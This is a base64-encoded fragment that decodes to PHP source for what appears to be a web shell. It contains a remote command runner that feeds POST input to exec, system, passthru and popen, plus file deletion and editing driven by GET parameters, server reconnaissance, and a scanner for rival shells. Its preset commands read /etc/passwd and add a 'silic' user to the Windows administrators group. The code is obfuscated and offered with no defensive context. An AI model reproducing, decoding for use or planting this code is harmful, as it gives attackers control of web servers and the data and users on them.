xlX01vZGUoKTsNCgl3aGlsZShmYWxzZSAhPT0gKCRGaWxlbmFtZSA9IEByZWFkZGlyKCRoX2QpKSkNCgl7DQoJCWlmKCRGaWxlbmFtZSA9PSAnLicgfHwgJEZpbGVuYW1lID09ICcuLicpIGNvbnRpbnVlOw0KCQkkRmlsZXBhdGggPSBGaWxlX1N0cigkc3AuJy8nLiRGaWxlbmFtZSk7DQoJCWlmKGlzX2RpcigkRmlsZXBhdGgpICYmICRzYikgQW50aXZpcnVzX0F1dG8oJEZpbGVwYXRoLCRmZWF0dXJlcywkc3QpOw0KCQlpZihlcmVnaSgkc3QsJEZpbGVuYW1lKSkNCgkJew0KCQkJaWYoJEZpbGVwYXRoID09IEZpbGVfU3RyKF9fRklMRV9fKSkgY29udGludWU7DQoJCQkkaWMgPSBGaWxlX1JlYWQoJEZpbGVwYXRoKTsNCgkJCWZvcmVhY2goJGZlYXR1cmVzIGFzICR2YXIgPT4gJGtleSkNCgkJCXsNCgkJCQlpZihzdHJpc3RyKCRpYywka2V5KSkNCgkJCQl7DQoJCQkJCSRGaWxldXJscyA9IHN0cl9yZXBsYWNlKCRST09UX0RJUiwnaHR0cDovLycuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJy8nLCRGaWxlcGF0aCk7DQoJCQkJCSRGaWxldGltZSA9IEBkYXRlKCdZLW0tZCBIOmk6cycsQGZpbGVtdGltZSgkRmlsZXBhdGgpKTsNCgkJCQkJZWNobyAnIDxhIGhyZWY9IicuJEZpbGV1cmxzLiciIHRhcmdldD0iX2JsYW5rIj4gPGZvbnQgY29sb3I9IiM4QjAwMDAiPiAnLiRGaWxlcGF0aC4nIDwvZm9udD4gPC9hPiA8YnI+IKG+PGEgaHJlZj0iP3M9ZSZmcD0nLnVybGVuY29kZSgkc3ApLicmZm49Jy4kRmlsZW5hbWUuJyZkaW09Jy51cmxlbmNvZGUoJGtleSkuJyIgdGFyZ2V0PSJfYmxhbmsiPiCx4LytIDwvYT4gPGEgaHJlZj0iP3M9ZSZkZj0nLnVybGVuY29kZSgkRmlsZXBhdGgpLiciIHRhcmdldD0iX2JsYW5rIj4gyb6z/SA8L2E+IKG/ICc7DQoJCQkJCWVjaG8gJyChviAnLiRGaWxldGltZS4nIKG/IDxmb250IGNvbG9yPSIjRkYwMDAwIj4gJy4kdmFyLicgPC9mb250PiA8YnI+IDxicj4gJy4iXHJcbiI7DQoJCQkJCWJyZWFrOw0KCQkJCX0NCgkJCX0NCgkJCW9iX2ZsdXNoKCk7DQoJCQlmbHVzaCgpOw0KCQl9DQoJfQ0KCUBjbG9zZWRpcigkaF9kKTsNCglyZXR1cm4gdHJ1ZTsNCn0NCg0KZnVuY3Rpb24gQW50aXZpcnVzX2UoKQ0Kew0KCWlmKCFlbXB0eSgkX0dFVFsnZGYnXSkpe2VjaG8gJF9HRVRbJ2RmJ107aWYoQHVubGluaygkX0dFVFsnZGYnXSkpe2VjaG8gJ8m+s/2zybmmJzt9ZWxzZXtAY2htb2QoJF9HRVRbJ2RmJ10sMDY2Nik7ZWNobyBAdW5saW5rKCRfR0VUWydkZiddKSA/ICfJvrP9s8m5picgOiAnyb6z/cqnsNwnO30gcmV0dXJuIGZhbHNlO30NCglpZigoIWVtcHR5KCRfR0VUWydmcCddKSkgJiYgKCFlbXB0eSgkX0dFVFsnZm4nXSkpICYmICghZW1wdHkoJF9HRVRbJ2RpbSddKSkpIHsgRmlsZV9FZGl0KCRfR0VUWydmcCddLCRfR0VUWydmbiddLCRfR0VUWydkaW0nXSk7IHJldHVybiBmYWxzZTsgfQ0KCSRTQ0FOX0RJUiA9IGlzc2V0KCRfUE9TVFsnc3AnXSkgPyAkX1BPU1RbJ3NwJ10gOiBGaWxlX01vZGUoKTsNCgkkZmVhdHVyZXNfcGhwID0gYXJyYXkoJ2V2YWzSu77ku7DM2NX3Jz0+J2V2YWwoJywntPPC7XJlYWTM2NX3Jz0+Jy0+cmVhZCgpJywntPPC7XJlYWRkaXLM2NX3Myc9PidyZWFkZGlyKCcsJ01ZU1FM19S2qNLluq/K/dPvvuQnPT4ncmV0dXJucyBzdHJpbmcgc29uYW1lJywnvNPD3MzY1fcxJz0+J2V2YWwoZ3ppbmZsYXRlKCcsJ7zTw9zM2NX3Mic9PidldmFsKGJhc2U2NF9kZWNvZGUoJywnvNPD3MzY1fczJz0+J2Jhc2U2NF9kZWNvZGUoJywnZXZhbNK7vuS7sDInPT4nZXZhbCAoJywncGhwuLTWxszY1fcnPT4nY29weSgkX0ZJTEVTJywnuLTWxszY1fcyJz0+J2NvcHkgKCRfRklMRVMnLCfJz7SrzNjV9yc9Pidtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFUycsJ8nPtKvM2NX3Mic9Pidtb3ZlX3VwbG9hZGVkX2ZpbGUgKCRfRklMRVMnLCfQocLtzNjV9yc9PidzdHJfcmVwbGFjZShcJ1xcXFxcJyxcJy9cJywnKTsNCgkkZmVhdHVyZXNfYXN4ID0gYXJyYXkoJ73Fsb6808PcJz0+J1ZCU2NyaXB0LkVuY29kZScsJ7zTw9zM2NX3Jz0+JyNAfl4nLCdmc2/X6bz+Jz0+J2Zzby5jcmVhdGV0ZXh0ZmlsZShwYXRoLHRydWUpJywnZXhjdXRl0ru+5LuwJz0+J2V4ZWN1dGUnLCdldmFs0ru+5LuwJz0+J2V2YWwnLCd3c2NyaXB0zNjV9yc9PidGOTM1REMyMi0xQ0YwLTExRDAtQURCOS0wMEMwNEZENThBMEInLCfK/b7dv+Ky2df3zNjV9yc9PicxMzcwOTYyMC1DMjc5LTExQ0UtQTQ5RS00NDQ1NTM1NDAwMDAnLCd3c2NyaXB0zNjV9yc9PidXU2NyaXB0LlNoZWxsJywnZnNvzNjV9yc9PicwRDQzRkUwMS1GMDkzLTExQ0YtODk0MC0wMEEwQzkwNTQyMjgnLCfKrsj9uq/K/Sc9Piep76nlJywnYXNweLTzwu3M2NX3Jz0+J1Byb2Nlc3MuR2V0UHJvY2Vzc2VzJywnYXNweNK7vuS7sCc9PidSZXF1ZXN0LkJpbmFyeVJlYWQnKTsNCglwcmludDw8PEVORA0KPGZvcm0gbWV0aG9kPSJQT1NUIiBuYW1lPSJ0Zm9ybSIgaWQ9InRmb3JtIiBhY3Rpb249Ij9zPWUiPg0KPGRpdiBjbGFzcz0iYWN0YWxsIj7JqMPowre+tiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3AiIGlkPSJzcCIgdmFsdWU9InskU0NBTl9ESVJ9IiBzdHlsZT0id2lkdGg6NjAwcHg7Ij48L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+xL7C7cDg0M0gPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJzdHBocCIgdmFsdWU9InBocCIgY2hlY2tlZD5waHDEvsLtDQo8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InN0YXN4IiB2YWx1ZT0iYXN4Ij5hc3ArYXNweMS+wu08L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCIgc3R5bGU9ImhlaWdodDo1MHB4OyI+PGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJzYiIgdmFsdWU9ImEiIGNoZWNrZWQ+vavJqMLt06bTw9PauMPOxLz+vNAs19POxLz+vNC6zc7EvP4NCjxicj48aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9InNiIiB2YWx1ZT0iYiI+vfa9q8mowu3TptPD09q4w87EvP680DwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iv6rKvMmow+giIHN0eWxlPSJ3aWR0aDo4MHB4OyI+PC9kaXY+DQo8L2Zvcm0+DQpFTkQ7DQoJaWYoIWVtcHR5KCRfUE9TVFsnc3AnXSkpDQoJew0KCQllY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPic7DQoJCWlmKGlzc2V0KCRfUE9TVFsnc3RwaHAnXSkpeyRmZWF0dXJlc19hbGwgPSAkZmVhdHVyZXNfcGhwOyAkc3QgPSAnXC5waHB8XC5pbmN8XDsnO30NCgkJaWYoaXNzZXQoJF9QT1NUWydzdGFzeCddKSl7JGZlYXR1cmVzX2FsbCA9ICRmZWF0dXJlc19hc3g7ICRzdCA9ICdcLmFzcHxcLmFzYXxcLmNlcnxcLmFzcHh8XC5hc2N4fFw7Jzt9DQoJCWlmKGlzc2V0KCRfUE9TVFsnc3RwaHAnXSkgJiYgaXNzZXQoJF9QT1NUWydzdGFzeCddKSl7JGZlYXR1cmVzX2FsbCA9IGFycmF5X21lcmdlKCRmZWF0dXJlc19waHAsJGZlYXR1cmVzX2FzeCk7ICRzdCA9ICdcLnBocHxcLmluY3xcLmFzcHxcLmFzYXxcLmNlcnxcLmFzcHh8XC5hc2N4fFw7Jzt9DQoJCSRzYiA9ICgkX1BPU1RbJ3NiJ10gPT0gJ2EnKSA/IHRydWUgOiBmYWxzZTsNCgkJZWNobyBBbnRpdmlydXNfQXV0bygkX1BPU1RbJ3NwJ10sJGZlYXR1cmVzX2FsbCwkc3QsJHNiKSA/ICfJqMPozeqxzycgOiAgJ9Lss6PW1da5JzsNCgkJZWNobyAnPC9kaXY+JzsNCgl9DQoJcmV0dXJuIHRydWU7DQp9DQovL8vRy/fOxLz+DQpmdW5jdGlvbiBGaW5kZmlsZV9BdXRvKCRzZnAsJHNmYywkc2Z0LCRzZmYsJHNmYikNCnsNCgkvL2VjaG8gJHNmcC4nPGJyPicuJHNmYy4nPGJyPicuJHNmdC4nPGJyPicuJHNmZi4nPGJyPicuJHNmYjsNCglpZigoJGhfZCA9IEBvcGVuZGlyKCRzZnApKSA9PSBOVUxMKSByZXR1cm4gZmFsc2U7DQoJd2hpbGUoZmFsc2UgIT09ICgkRmlsZW5hbWUgPSBAcmVhZGRpcigkaF9kKSkpDQoJew0KCQlpZigkRmlsZW5hbWUgPT0gJy4nIHx8ICRGaWxlbmFtZSA9PSAnLi4nKSBjb250aW51ZTsNCgkJaWYoZXJlZ2koJHNmdCwkRmlsZW5hbWUpKSBjb250aW51ZTsNCgkJJEZpbGVwYXRoID0gRmlsZV9TdHIoJHNmcC4nLycuJEZpbGVuYW1lKTsNCgkJaWYoaXNfZGlyKCRGaWxlcGF0aCkgJiYgJHNmYikgRmluZGZpbGVfQXV0bygkRmlsZXBhdGgsJHNmYywkc2Z0LCRzZmYsJHNmYik7DQoJCWlmKCRzZmYpDQoJCXsNCgkJCWlmKHN0cmlzdHIoJEZpbGVuYW1lLCRzZmMpKQ0KCQkJew0KCQkJCWVjaG8gJzxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSI/cz1wJmZwPScudXJsZW5jb2RlKCRzZnApLicmZm49Jy51cmxlbmNvZGUoJEZpbGVuYW1lKS4nIj4gJy4kRmlsZXBhdGguJyA8L2E+PGJyPicuIlxyXG4iOw0KCQkJCW9iX2ZsdXNoKCk7DQoJCQkJZmx1c2goKTsNCgkJCX0NCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRGaWxlX2NvZGUgPSBGaWxlX1JlYWQoJEZpbGVwYXRoKTsNCgkJCWlmKHN0cmlzdHIoJEZpbGVfY29kZSwkc2ZjKSkNCgkJCXsNCgkJCQllY2hvICc8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iP3M9cCZmcD0nLnVybGVuY29kZSgkc2ZwKS4nJmZuPScudXJsZW5jb2RlKCRGaWxlbmFtZSkuJyI+ICcuJEZpbGVwYXRoLicgPC9hPjxicj4nLiJcclxuIjsNCgkJCQlvYl9mbHVzaCgpOw0KCQkJCWZsdXNoKCk7DQoJCQl9DQoJCX0NCgl9DQoJQGNsb3NlZGlyKCRoX2QpOw0KCXJldHVybiB0cnVlOw0KfQ0KZnVuY3Rpb24gRmluZGZpbGVfaigpDQp7DQoJaWYoIWVtcHR5KCRfR0VUWydkZiddKSl7ZWNobyAkX0dFVFsnZGYnXTtpZihAdW5saW5rKCRfR0VUWydkZiddKSl7ZWNobyAnyb6z/bPJuaYnO31lbHNle0BjaG1vZCgkX0dFVFsnZGYnXSwwNjY2KTtlY2hvIEB1bmxpbmsoJF9HRVRbJ2RmJ10pID8gJ8m+s/2zybmmJyA6ICfJvrP9yqew3Cc7fSByZXR1cm4gZmFsc2U7fQ0KCWlmKCghZW1wdHkoJF9HRVRbJ2ZwJ10pKSAmJiAoIWVtcHR5KCRfR0VUWydmbiddKSkgJiYgKCFlbXB0eSgkX0dFVFsnZGltJ10pKSkgeyBGaWxlX0VkaXQoJF9HRVRbJ2ZwJ10sJF9HRVRbJ2ZuJ10sJF9HRVRbJ2RpbSddKTsgcmV0dXJuIGZhbHNlOyB9DQoJJFNDQU5fRElSID0gaXNzZXQoJF9QT1NUWydzZnAnXSkgPyAkX1BPU1RbJ3NmcCddIDogRmlsZV9Nb2RlKCk7DQoJJFNDQU5fQ09ERSA9IGlzc2V0KCRfUE9TVFsnc2ZjJ10pID8gJF9QT1NUWydzZmMnXSA6ICdjb25maWcnOw0KCSRTQ0FOX1RZUEUgPSBpc3NldCgkX1BPU1RbJ3NmdCddKSA/ICRfUE9TVFsnc2Z0J10gOiAnLm1wM3wubXA0fC5hdml8LnN3ZnwuanBnfC5naWZ8LnBuZ3wuYm1wfC5naG98LnJhcnwuZXhlfC56aXB8LnBkZnwuZGxsfC5leGV8LnR4dHwuaW5mfC5wcHR8Lnhsc3wuanMnOw0KCXByaW50PDw8RU5EDQo8Zm9ybSBtZXRob2Q9IlBPU1QiIG5hbWU9Impmb3JtIiBpZD0iamZvcm0iIGFjdGlvbj0iP3M9aiI+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPsmow+jCt762IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzZnAiIHZhbHVlPSJ7JFNDQU5fRElSfSIgc3R5bGU9IndpZHRoOjYwMHB4OyI+PC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPrn9wsvOxLz+IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzZnQiIHZhbHVlPSJ7JFNDQU5fVFlQRX0iIHN0eWxlPSJ3aWR0aDo2MDBweDsiPjwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIj652Lz819a0riA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic2ZjIiB2YWx1ZT0ieyRTQ0FOX0NPREV9IiBzdHlsZT0id2lkdGg6Mzk1cHg7Ij4NCjxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0ic2ZmIiB2YWx1ZT0iYSIgY2hlY2tlZD7L0cv3zsS8/sP7DQo8aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9InNmZiIgdmFsdWU9ImIiPsvRy/ew/LqszsTX1jwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIiBzdHlsZT0iaGVpZ2h0OjUwcHg7Ij48aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9InNmYiIgdmFsdWU9ImEiIGNoZWNrZWQ+vavL0cv306bTw9PauMPOxLz+vNAs19POxLz+vNC6zc7EvP4NCjxicj48aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9InNmYiIgdmFsdWU9ImIiPr32vavL0cv306bTw9PauMPOxLz+vNA8L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ir+qyrzJqMPoIiBzdHlsZT0id2lkdGg6ODBweDsiPjwvZGl2Pg0KPC9mb3JtPg0KRU5EOw0KCWlmKCghZW1wdHkoJF9QT1NUWydzZnAnXSkpICYmICghZW1wdHkoJF9QT1NUWydzZmMnXSkpKQ0KCXsNCgkJZWNobyAnPGRpdiBjbGFzcz0iYWN0YWxsIj4nOw0KCQkkX1BPU1RbJ3NmdCddID0gc3RyX3JlcGxhY2UoJy4nLCdcXC4nLCRfUE9TVFsnc2Z0J10pOw0KCQkkc2ZmID0gKCRfUE9TVFsnc2ZmJ10gPT0gJ2EnKSA/IHRydWUgOiBmYWxzZTsNCgkJJHNmYiA9ICgkX1BPU1RbJ3NmYiddID09ICdhJykgPyB0cnVlIDogZmFsc2U7DQoJCWVjaG8gRmluZGZpbGVfQXV0bygkX1BPU1RbJ3NmcCddLCRfUE9TVFsnc2ZjJ10sJF9QT1NUWydzZnQnXSwkc2ZmLCRzZmIpID8gJ8vRy/fN6rHPJyA6ICfS7LOj1tXWuSc7DQoJCWVjaG8gJzwvZGl2Pic7DQoJfQ0KCXJldHVybiB0cnVlOw0KfQ0KLy/Ptc2z0MXPog0KZnVuY3Rpb24gSW5mb19DZmcoJHZhcm5hbWUpew0KCXN3aXRjaCgkcmVzdWx0ID0gZ2V0X2NmZ192YXIoJHZhcm5hbWUpKXsNCgkJY2FzZSAwOnJldHVybiAiTm8iO2JyZWFrOw0KCQljYXNlIDE6cmV0dXJuICJZZXMiO2JyZWFrOw0KCQlkZWZhdWx0OnJldHVybiAkcmVzdWx0O2JyZWFrO319DQoJCWZ1bmN0aW9uIEluZm9fRnVuKCRmdW5OYW1lKXtyZXR1cm4oZmFsc2UgIT09ZnVuY3Rpb25fZXhpc3RzKCRmdW5OYW1lKSkgPyAiWWVzIiA6ICJObyI7fQ0KCQlmdW5jdGlvbiBJbmZvX2YoKQ0KCQl7DQoJCQkkZGlzX2Z1bmMgPSBnZXRfY2ZnX3ZhcigiZGlzYWJsZV9mdW5jdGlvbnMiKTsNCgkJCSR1cHNpemUgPSBnZXRfY2ZnX3ZhcigiZmlsZV91cGxvYWRzIikgPyBnZXRfY2ZnX3ZhcigidXBsb2FkX21heF9maWxlc2l6ZSIpIDogIrK71MrQ7cnPtKsiOw0KCQkJJGFkbWlubWFpbCA9IChpc3NldCgkX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10pKSA/ICI8YSBocmVmPVwibWFpbHRvOiIuJF9TRVJWRVJbJ1NFUlZFUl9BRE1JTiddLiJcIj4iLiRfU0VSVkVSWydTRVJWRVJfQURNSU4nXS4iPC9hPiIgOiAiPGEgaHJlZj1cIm1haWx0bzoiLmdldF9jZmdfdmFyKCJzZW5kbWFpbF9mcm9tIikuIlwiPiIuZ2V0X2NmZ192YXIoInNlbmRtYWlsX2Zyb20iKS4iPC9hPiI7DQoJCQlpZigkZGlzX2Z1bmMgPT0gIiIpeyRkaXNfZnVuYyA9ICJObyI7fQ0KCQkJZWxzZXsNCgkJCQkkZGlzX2Z1bmMgPSBzdHJfcmVwbGFjZSgiICIsIjxicj4iLCRkaXNfZnVuYyk7DQoJCQkJJGRpc19mdW5jID0gc3RyX3JlcGxhY2UoIiwiLCI8YnI+IiwkZGlzX2Z1bmMpOw0KCQkJfQ0KCQkJJHBocGluZm8gPSAoIWVyZWdpKCJwaHBpbmZvIiwkZGlzX2Z1bmMpKSA/ICJZZXMiIDogIk5vIjsNCgkJCSRpbmZvID0gYXJyYXkoDQoJCQkJCWFycmF5KCK3/s7xxvfKsbzkL7GxvqnKsbzkIixkYXRlKCJZxOpt1MJkyNUgaDppOnMiLHRpbWUoKSkuIiZuYnNwOy8mbmJzcDsiLmdtZGF0ZSgiWcTqbtTCasjVIEg6aTpzIix0aW1lKCkrOCozNjAwKSksDQoJCQkJCWFycmF5KCK3/s7xxvfT8sP7OrbLv9ooaXApIiwiPGEgaHJlZj1cImh0dHA6Ly8iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiJcIiB0YXJnZXQ9XCJfYmxhbmtcIj4iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiI8L2E+OiIuJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10uIiAoICIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkuIiApIiksDQoJCQkJCWFycmF5KCK3/s7xxvey2df3z7XNsyjOxNfWseDC6ykiLFBIUF9PUy4iICgiLiRfU0VSVkVSWydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddLiIpIiksDQoJCQkJCWFycmF5KCK3/s7xxve94tLr0v3H5iIsJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddKSwNCgkJCQkJYXJyYXkoIsTjtcRJUCIsZ2V0ZW52KCdSRU1PVEVfQUREUicpKSwNCgkJCQkJYXJyYXkoIlBIUNTL0NC3vcq9KLDmsb4pIixzdHJ0b3VwcGVyKHBocF9zYXBpX25hbWUoKSkuIigiLlBIUF9WRVJTSU9OLiIpIC8gsLLIq8Sjyr06Ii5JbmZvX0NmZygic2FmZW1vZGUiKSksDQoJCQkJCWFycmF5KCK3/s7xxve53MDt1LEiLCRhZG1pbm1haWwpLA0KCQkJCQlhcnJheSgisb7OxLz+wre+tiIsX19GSUxFX18pLA0KCQkJCQlhcnJheSgi1MrQ7cq508NVUky08r+qzsS8/lthbGxvd191cmxfZm9wZW5dIixJbmZvX0NmZygiYWxsb3dfdXJsX2ZvcGVuIikpLA0KCQkJCQlhcnJheSgi1MrQ7bavzKy809TYwbS907/iW2VuYWJsZV9kbF0iLEluZm9fQ2ZnKCJlbmFibGVfZGwiKSksDQoJCQkJCWFycmF5KCLP1Mq+tO3O89DFz6JbZGlzcGxheV9lcnJvcnNdIixJbmZvX0NmZygiZGlzcGxheV9lcnJvcnMiKSksDQoJCQkJCWFycmF5KCLX1Lao0uXIq77WseTBv1tyZWdpc3Rlcl9nbG9iYWxzXSIsSW5mb19DZmcoInJlZ2lzdGVyX2dsb2JhbHMiKSksDQoJCQkJCWFycmF5KCLX1Lav19a3+7Su16rS5VttYWdpY19xdW90ZXNfZ3BjXSIsSW5mb19DZmcoIm1hZ2ljX3F1b3Rlc19ncGMiKSksDQoJCQkJCWFycmF5KCLX7rbgxNq05sq508PBv1ttZW1vcnlfbGltaXRdIixJbmZvX0NmZygibWVtb3J5X2xpbWl0IikpLA0KCQkJCQlhcnJheSgiUE9TVNfutPPX1r3aW3Bvc3RfbWF4X3NpemVdIixJbmZvX0NmZygicG9zdF9tYXhfc2l6ZSIpKSwNCgkJCQkJYXJyYXkoItTK0O3X7rTzyc+0q1t1cGxvYWRfbWF4X2ZpbGVzaXplXSIsJHVwc2l6ZSksDQoJCQkJCWFycmF5KCKzzNDy1+6zpNTL0NDKsbzkW21heF9leGVjdXRpb25fdGltZV0iLEluZm9fQ2ZnKCJtYXhfZXhlY3V0aW9uX3RpbWUiKS4iw+siKSwNCgkJCQkJYXJyYXkoIr3708O6r8r9W2Rpc2FibGVfZnVuY3Rpb25zXSIsJGRpc19mdW5jKSwNCgkJCQkJYXJyYXkoIrPM0PLQxc+iuq/K/VtwaHBpbmZvKCldIiwkcGhwaW5mbyksDQoJCQkJCWFycmF5KCLEv8ewu7nT0L/V0+C/1bzkZGlza2ZyZWVzcGFjZSIsaW50dmFsKGRpc2tmcmVlc3BhY2UoIi4iKSAvICgxMDI0ICogMTAyNCkpLidNYicpLA0KCQkJCQlhcnJheSgiR1rRucv1zsS8/tans9ZbemxpYl0iLEluZm9fRnVuKCJnemNsb3NlIikpLA0KCQkJCQlhcnJheSgiWklQ0bnL9c7EvP7Wp7PWW1ppcEFyY2hpdmUocGhwX3ppcCldIixJbmZvX0Z1bigiemlwX29wZW4iKSksDQoJCQkJCWFycmF5KCJJTUFQtefX09PKvP7Ptc2zIixJbmZvX0Z1bigiaW1hcF9jbG9zZSIpKSwNCgkJCQkJYXJyYXkoIlhNTL3izvYiLEluZm9fRnVuKCJ4bWxfc2V0X29iamVjdCIpKSwNCgkJCQkJYXJyYXkoIkZUULXHwr0iLEluZm9fRnVuKCJmdHBfbG9naW4iKSksDQoJCQkJCWFycmF5KCJTZXNzaW9u1qez1iIsSW5mb19GdW4oInNlc3Npb25fc3RhcnQiKSksDQoJCQkJCWFycmF5KCJTb2NrZXTWp7PWIixJbmZvX0Z1bigiZnNvY2tvcGVuIikpLA0KCQkJCQlhcnJheSgiTXlTUUzK/b7dv+IiLEluZm9fRnVuKCJteXNxbF9jbG9zZSIpKSwNCgkJCQkJYXJyYXkoIk1TU1FMyv2+3b/iIixJbmZvX0Z1bigibXNzcWxfY2xvc2UiKSksDQoJCQkJCWFycmF5KCJQb3N0Z3JlIFNRTMr9vt2/4iIsSW5mb19GdW4oInBnX2Nsb3NlIikpLA0KCQkJCQlhcnJheSgiU1FMaXRlyv2+3b/iIixJbmZvX0Z1bigic3FsaXRlX2Nsb3NlIikpLA0KCQkJCQlhcnJheSgiT3JhY2xlyv2+3b/iIixJbmZvX0Z1bigib3JhX2Nsb3NlIikpLA0KCQkJCQlhcnJheSgiT3JhY2xlIDjK/b7dv+IiLEluZm9fRnVuKCJPQ0lMb2dPZmYiKSksDQoJCQkJCWFycmF5KCJTeUJhc2XK/b7dv+IiLEluZm9fRnVuKCJzeWJhc2VfY2xvc2UiKSksDQoJCQkJCWFycmF5KCJIeXBlcndhdmXK/b7dv+IiLEluZm9fRnVuKCJod19jbG9zZSIpKSwNCgkJCQkJYXJyYXkoIkluZm9yTWl4yv2+3b/iIixJbmZvX0Z1bigiaWZ4X2Nsb3NlIikpLA0KCQkJCQlhcnJheSgiRmlsZVByb8r9vt2/4iIsSW5mb19GdW4oImZpbGVwcm9fZmllbGRjb3VudCIpKSwNCgkJCQkJYXJyYXkoIkRCQS9EQk3BrL3TIixJbmZvX0Z1bigiZGJhX2Nsb3NlIikuIiZuYnNwOy8mbmJzcDsiLkluZm9fRnVuKCJkYm1jbG9zZSIpKSwNCgkJCQkJYXJyYXkoIk9EQkMvZEJBU0XBrL3TIixJbmZvX0Z1bigib2RiY19jbG9zZSIpLiImbmJzcDsvJm5ic3A7Ii5JbmZvX0Z1bigiZGJhc2VfY2xvc2UiKSksDQoJCQkJCWFycmF5KCJQUkVMz+DI3dPvt6hbUENSRV0iLEluZm9fRnVuKCJwcmVnX21hdGNoIikpLA0KCQkJCQlhcnJheSgiUERG1qez1iIsSW5mb19GdW4oInBkZl9jbG9zZSIpKSwNCgkJCQkJYXJyYXkoIs280M60psDtW0dEIExpYnJhcnldIixJbmZvX0Z1bigiaW1hZ2VsaW5lIikpLA0KCQkJCQlhcnJheSgiU05NUM34wue53MDt0K3S6SIsSW5mb19GdW4oInNubXBnZXQiKSksKTsNCgkJCWVjaG8gJzx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIj4nOw0KCQkJZm9yKCRpID0gMDskaSA8IGNvdW50KCRpbmZvKTskaSsrKXtlY2hvICc8dHI+PHRkIHdpZHRoPSI0MCUiPicuJGluZm9bJGldWzBdLic8L3RkPjx0ZD4nLiRpbmZvWyRpXVsxXS4nPC90ZD48L3RyPicuIlxuIjt9DQoJCQllY2hvICc8L3RhYmxlPic7DQoJCQlyZXR1cm4gdHJ1ZTsNCgkJfQ0KCQkvL9a00NDD/MHuDQoJCWZ1bmN0aW9uIEV4ZWNfUnVuKCRjbWQpDQoJCXsNCgkJCSRyZXMgPSAnJzsNCgkJCWlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKXtAZXhlYygkY21kLCRyZXMpOyRyZXMgPSBqb2luKCJcbiIsJHJlcyk7fQ0KCQkJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKXskcmVzID0gQHNoZWxsX2V4ZWMoJGNtZCk7fQ0KCQkJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpe0BvYl9zdGFydCgpO0BzeXN0ZW0oJGNtZCk7JHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTtAb2JfZW5kX2NsZWFuKCk7fQ0KCQkJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSl7QG9iX3N0YXJ0KCk7QHBhc3N0aHJ1KCRjbWQpOyRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7QG9iX2VuZF9jbGVhbigpO30NCgkJCWVsc2VpZihAaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGNtZCwiciIpKSl7JHJlcyA9ICcnO3doaWxlKCFAZmVvZigkZikpeyRyZXMgLj0gQGZyZWFkKCRmLDEwMjQpO31AcGNsb3NlKCRmKTt9DQoJCQlyZXR1cm4gJHJlczsNCgkJfQ0KCQlmdW5jdGlvbiBFeGVjX2coKQ0KCQl7DQoJCQkkcmVzID0gJ7vYz9QnOw0KCQkJJGNtZCA9ICdkaXInOw0KCQkJaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pKXskcmVzID0gRXhlY19SdW4oJF9QT1NUWydjbWQnXSk7JGNtZCA9ICRfUE9TVFsnY21kJ107fQ0KCQkJcHJpbnQ8PDxFTkQNCjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPg0KZnVuY3Rpb24gc0Z1bGwoaSl7DQoJU3RyID0gbmV3IEFycmF5KDE0KTsNCglTdHJbMF0gPSAiZGlyIjsNCglTdHJbMV0gPSAibHMgL2V0YyI7DQoJU3RyWzJdID0gImNhdCAvZXRjL3Bhc3N3ZCI7DQoJU3RyWzNdID0gImNwIC1hIC9ob21lL3d3dy9odG1sL2EucGhwIC9ob21lL3d3dzIvIjsNCglTdHJbNF0gPSAidW5hbWUgLWEiOw0KCVN0cls1XSA9ICJnY2MgLW8gL3RtcC9zaWxpYyAvdG1wL3NpbGljLmMiOw0KCVN0cls2XSA9ICJuZXQgdXNlciBzaWxpYyBzaWxpYyAvYWRkICYgbmV0IGxvY2FsZ3JvdXAgYWRtaW5pc3RyYXRvcnMgc2lsaWMgL2FkZCI7DQoJU3RyWzddID0gIm5ldCB1c2VyIjsNCglTdHJbOF0gPSAibmV0c3RhdCAtYW4iOw0KCVN0cls5XS